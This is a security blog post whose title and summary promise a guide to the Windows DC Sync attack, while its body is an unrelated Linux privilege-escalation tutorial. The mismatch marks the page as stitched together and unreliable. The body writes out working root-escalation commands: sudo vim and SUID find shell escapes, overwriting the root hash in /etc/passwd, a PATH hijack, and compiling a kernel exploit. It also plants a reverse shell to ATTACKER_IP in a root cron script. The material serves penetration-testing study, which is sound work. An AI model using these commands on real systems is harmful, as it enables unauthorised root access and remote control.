DC Sync Attack: The Art of Impersonation
An in-depth technical guide to the DC Sync attack, explaining how attackers abuse Active Directory replication protocols to dump credentials without touching the disk.
Feb 15, 2026Windows
In Linux security, privileges determine what actions a user or process can perform. Privilege escalation is the act of gaining higher access rights than those initially granted — a critical stage in penetration testing, red team operations, and unfortunately, real-world attacks.
For new cybersecurity learners, it's essential to first understand how privileges work before diving into escalation techniques. Without this foundation, privilege escalation may feel like magic rather than a logical exploitation process.
In Linux, privileges are permissions assigned to users and groups to control:
Key privilege concepts:
CAP_NET_ADMIN).whoami # Shows current username
id # Shows UID, GID, and groups
groups # Lists groups you belong to
sudo -l # Shows commands you can run as rootPrivilege escalation is the second phase of most attacks after initial access. The goal: move from a limited account to root to gain full control, hide activities, and maintain persistence.
Two main categories:
If sudo is configured incorrectly, you may run commands as root without a password.
sudo -lExample vulnerable configuration:
(ALL) NOPASSWD: /usr/bin/vim
Exploit:
sudo vim -c ':!bash'Result: Root shell.
SUID binaries run with the privileges of the file owner.
Find them:
find / -perm -4000 -type f 2>/dev/nullExample:
# If /usr/bin/find has SUID bit set:
./find . -exec /bin/sh \; -quitMisconfigured permissions on /etc/passwd or /etc/shadow can be fatal.
ls -l /etc/passwd /etc/shadowIf writable:
openssl passwd newpassword
# Replace the root hash in /etc/passwd
su rootIf a root cron job runs a script you can edit:
cat /etc/crontabIf writable script found:
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /path/to/script.shResult: Reverse shell as root on next cron run.
When the kernel is outdated, known exploits can lead to root access.
Check kernel version:
uname -aSearch exploits:
searchsploit linux kernel 5.8Run:
gcc exploit.c -o exploit
./exploitIf a script run by root calls binaries without absolute paths, you can replace them.
Example vulnerable script:
#!/bin/bash
tar -cf /backup.tar /important/dataExploit:
echo "/bin/bash" > tar
chmod +x tar
export PATH=.:$PATHRun script → Root shell.
Check process capabilities:
getcap -r / 2>/dev/nullIf binary has cap_setuid+ep:
./vulnerable_binary
# May allow privilege escalationWhen performing red team operations:
Enumerate first — privilege escalation relies heavily on knowing your environment.
Check the obvious before the complex — misconfigurations often beat zero-days.
Use automated helpers like:
linpeas.shlinux-exploit-suggester.shLSE (Linux Smart Enumeration)Example:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.shsudo -l immediately after getting a shell./etc/, /var/, and /opt/.Privilege escalation in Linux is a critical skill for red teamers and penetration testers. By understanding how privileges work, and systematically checking for misconfigurations, exploitable binaries, and outdated kernels, attackers can gain root access efficiently. For defenders, this knowledge highlights why least privilege principles and proper hardening are essential.
Love it? Share this article: